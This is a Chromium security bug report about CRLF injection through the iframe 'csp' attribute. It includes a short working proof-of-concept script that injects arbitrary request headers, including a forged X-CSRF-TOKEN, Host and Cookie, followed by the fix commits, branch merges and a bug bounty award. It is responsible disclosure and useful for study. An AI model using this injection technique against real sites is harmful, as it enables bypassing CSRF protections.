Issue metadata
Sign in to add a comment
|
Security: Setting arbitrary http request headers via <iframe csp> attribute
Reported by
mic...@bentkowski.info,
May 23 2018
|
||||||||||||||||||||||
Issue descriptionVULNERABILITY DETAILS Using `csp` attribute in <iframe> element, an attacker might set arbitrary http headers, using "\r\n" characters. The most obvious scenario of attack is to add a "x-csrf-token" header to bypass header-based CSRF protection. Interestingly, though, it seems that arbitrary headers might be set, including Host, Content-type or User-Agent. VERSION Chrome Version: 66.0.3359.181 stable Operating System: macOS Sierra 10.12.6 (16G1314) REPRODUCTION CASE 1. On http://bntk.pl/headers.php there is a simple page that just returns all http request headers that the server saw. Please note that the page responds with `Allow-CSP-From: *` header, so that it can be easily seen what headers were sent. 2. Below is a code that sets five headers: Host, X-Csrf-Token, Cookie, User-Agent and Content-Type. <!doctype html><meta charset=utf-8>. <script> const ifr = document.createElement('iframe'); ifr.src = 'http://bntk.pl/headers.php?'+Math.random(); ifr.height = '600px'; const headers = [ 'X-CSRF-TOKEN: 0123456789abcdef', 'Host: changed-host.bntk.pl', 'Cookie: aaaaa', 'User-Agent: Whatever', 'Content-type: application/json', ] ifr.csp = 'script-src\r\n' + headers.join('\r\n'); document.body.appendChild(ifr); </script> 3. The output should be similar to: array(11) { ["Host"]=> string(20) "changed-host.bntk.pl" ["Connection"]=> string(10) "keep-alive" ["Upgrade-Insecure-Requests"]=> string(1) "1" ["Sec-Required-CSP"]=> string(10) "script-src" ["X-CSRF-TOKEN"]=> string(16) "0123456789abcdef" ["Cookie"]=> string(5) "aaaaa" ["User-Agent"]=> string(8) "Whatever" ["Content-type"]=> string(16) "application/json" ["Accept"]=> string(85) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(35) "pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7" } which proves that additional headers were set.
,
May 23 2018
https://w3c.github.io/webappsec-csp/embedded/#required-csp
,
May 23 2018
That's right. The `csp` attribute is converted to Sec-Required-CSP header, per: https://w3c.github.io/webappsec-csp/embedded/#allow-csp-from-header . There appears to be a classic CRLF injection though, that makes it possible to escape from Sec-Required-CSP and set arbitrary headers.
,
May 24 2018
Well. That's pretty terrible and seems easily exploitable. :( Thanks for the report! Andy, can you fix this, please? We ought to be rejecting values with characters that aren't expected in a valid policy. I would have expected `ContentSecurityPolicy::IsValidCSPAttr` (https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/frame/csp/content_security_policy.cc?rcl=524e60fb52e11d589f3a0cc9010e98080bf98e23&l=1844) to reject this value, but it apparently doesn't.
,
May 24 2018
,
May 25 2018
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/5b8466d84c801a9dfe140cb9a9f6be3a8caba230 commit 5b8466d84c801a9dfe140cb9a9f6be3a8caba230 Author: Andy Paicu <andypaicu@chromium.org> Date: Fri May 25 11:59:23 2018 Fixed CSP directive value parsing accepted character range Bug: 845961 Change-Id: Ifc9609058cd7cbd268785db46534e3ed09da6ce3 Reviewed-on: https://chromium-review.googlesource.com/1071510 Commit-Queue: Andy Paicu <andypaicu@chromium.org> Reviewed-by: Mike West <mkwst@chromium.org> Cr-Commit-Position: refs/heads/master@{#561834} [add] https://crrev.com/5b8466d84c801a9dfe140cb9a9f6be3a8caba230/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/required_csp-header-crlf.html [modify] https://crrev.com/5b8466d84c801a9dfe140cb9a9f6be3a8caba230/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/echo-required-csp.py [modify] https://crrev.com/5b8466d84c801a9dfe140cb9a9f6be3a8caba230/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/testharness-helper.sub.js [modify] https://crrev.com/5b8466d84c801a9dfe140cb9a9f6be3a8caba230/third_party/blink/renderer/core/frame/csp/content_security_policy.cc [modify] https://crrev.com/5b8466d84c801a9dfe140cb9a9f6be3a8caba230/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
,
May 25 2018
,
May 25 2018
Once this bakes a bit, I'd like to get it merged back as far as y'all will let us. +awhalley@: FYI.
,
May 25 2018
This bug requires manual review: We are only 3 days from stable. Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), govind@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
May 25 2018
+awhalley@ for M67 merge review. Pls note this is not baked in canary yet and we already cut Stable RC for release next week. Thank you.
,
May 25 2018
I'm afraid we've missed the cut for 67 stable, however once this has been out for a bit we should get it merged to 67 and pick it up in any stable updates. The changes look good and well test covered, and I can't imagine any compatibility issues; andypaicu@, mkwst@ any other risk comments?
,
May 25 2018
,
May 25 2018
Approving the merge upon comments from andypaicu@, mkwst@.
,
May 26 2018
,
May 29 2018
The NextAction date has arrived: 2018-05-29
,
May 29 2018
,
May 29 2018
mkwst@ is out for the week. I can't really see any risks associated with this change.
,
May 29 2018
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible! If all merges have been completed, please remove any remaining Merge-Approved labels from this issue. Thanks for your time! To disable nags, add the Disable-Nags label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
May 29 2018
,
May 29 2018
Do we still intend to merge this into M67? Please do so now if that's the case.
,
May 29 2018
Yep (and to 68). The eng team is in Germany and I think they've got a public holiday next week. If it's not done tomorrow pacific time I'll do the cherry pick.
,
May 29 2018
branch:3440
,
May 30 2018
The NextAction date has arrived: 2018-05-30
,
May 31 2018
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/a318c5d3937989dc17ab08b5cb0899b2903597b9 commit a318c5d3937989dc17ab08b5cb0899b2903597b9 Author: Andrew R. Whalley <awhalley@chromium.org> Date: Thu May 31 16:06:40 2018 [M68 Merge] Fixed CSP directive value parsing accepted character range TBR=andypaicu@chromium.org (cherry picked from commit 5b8466d84c801a9dfe140cb9a9f6be3a8caba230) Bug: 845961 Change-Id: Ifc9609058cd7cbd268785db46534e3ed09da6ce3 Reviewed-on: https://chromium-review.googlesource.com/1071510 Commit-Queue: Andy Paicu <andypaicu@chromium.org> Reviewed-by: Mike West <mkwst@chromium.org> Cr-Original-Commit-Position: refs/heads/master@{#561834} Reviewed-on: https://chromium-review.googlesource.com/1080929 Reviewed-by: Andrew Whalley <awhalley@chromium.org> Cr-Commit-Position: refs/branch-heads/3440@{#62} Cr-Branched-From: 010ddcfda246975d194964ccf20038ebbdec6084-refs/heads/master@{#561733} [add] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/required_csp-header-crlf.html [modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/echo-required-csp.py [modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/testharness-helper.sub.js [modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/blink/renderer/core/frame/csp/content_security_policy.cc [modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
,
May 31 2018
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/b05860188637bee077fadfd147fe4c46ac204e18 commit b05860188637bee077fadfd147fe4c46ac204e18 Author: Andrew R. Whalley <awhalley@chromium.org> Date: Thu May 31 16:10:30 2018 [M67 Merge] Fixed CSP directive value parsing accepted character range TBR=andypaicu@chromium.org (cherry picked from commit 5b8466d84c801a9dfe140cb9a9f6be3a8caba230) Bug: 845961 Change-Id: Ifc9609058cd7cbd268785db46534e3ed09da6ce3 Reviewed-on: https://chromium-review.googlesource.com/1071510 Commit-Queue: Andy Paicu <andypaicu@chromium.org> Reviewed-by: Mike West <mkwst@chromium.org> Cr-Original-Commit-Position: refs/heads/master@{#561834} Reviewed-on: https://chromium-review.googlesource.com/1080931 Reviewed-by: Andrew Whalley <awhalley@chromium.org> Cr-Commit-Position: refs/branch-heads/3396@{#723} Cr-Branched-From: 9ef2aa869bc7bc0c089e255d698cca6e47d6b038-refs/heads/master@{#550428} [add] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/required_csp-header-crlf.html [modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/echo-required-csp.py [modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/testharness-helper.sub.js [modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/blink/renderer/core/frame/csp/content_security_policy.cc [modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
,
Jun 5 2018
,
Jun 8 2018
*** Boilerplate reminders! *** Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing. *********************************
,
Jun 8 2018
Hi michal@! The VRP panel decided to award $3,000 for this report, plus a $133.7 bonus :-)
,
Jun 9 2018
,
Jun 9 2018
Thank you very much! But what is that bonus for? :)
,
Jun 11 2018
Hi michal@ - we use the bonus to reward particularly cunning, clever, or elegant bugs. Your report used a simple and well known attack technique that should't have worked against a Chrome feature in 2018, but yet, it did! Thanks for giving the simple things a try.
,
Jun 25 2018
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/fa68dcfd12e376aa880b3193a77b896e6c54efdf commit fa68dcfd12e376aa880b3193a77b896e6c54efdf Author: Mike West <mkwst@chromium.org> Date: Mon Jun 25 22:30:44 2018 Verify that header values set from Blink don't contain '\n'. Because that would be silly. Bug: 845961 Change-Id: I69de2cb093a3629de63c48652c9499f7387b8334 Reviewed-on: https://chromium-review.googlesource.com/1109757 Commit-Queue: Mike West <mkwst@chromium.org> Reviewed-by: Daniel Cheng <dcheng@chromium.org> Cr-Commit-Position: refs/heads/master@{#570206} [modify] https://crrev.com/fa68dcfd12e376aa880b3193a77b896e6c54efdf/third_party/blink/renderer/core/exported/web_associated_url_loader_impl_test.cc [modify] https://crrev.com/fa68dcfd12e376aa880b3193a77b896e6c54efdf/third_party/blink/renderer/platform/network/http_header_map.h
,
Sep 1
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||
Comment 1 by elawrence@chromium.org
, May 23 2018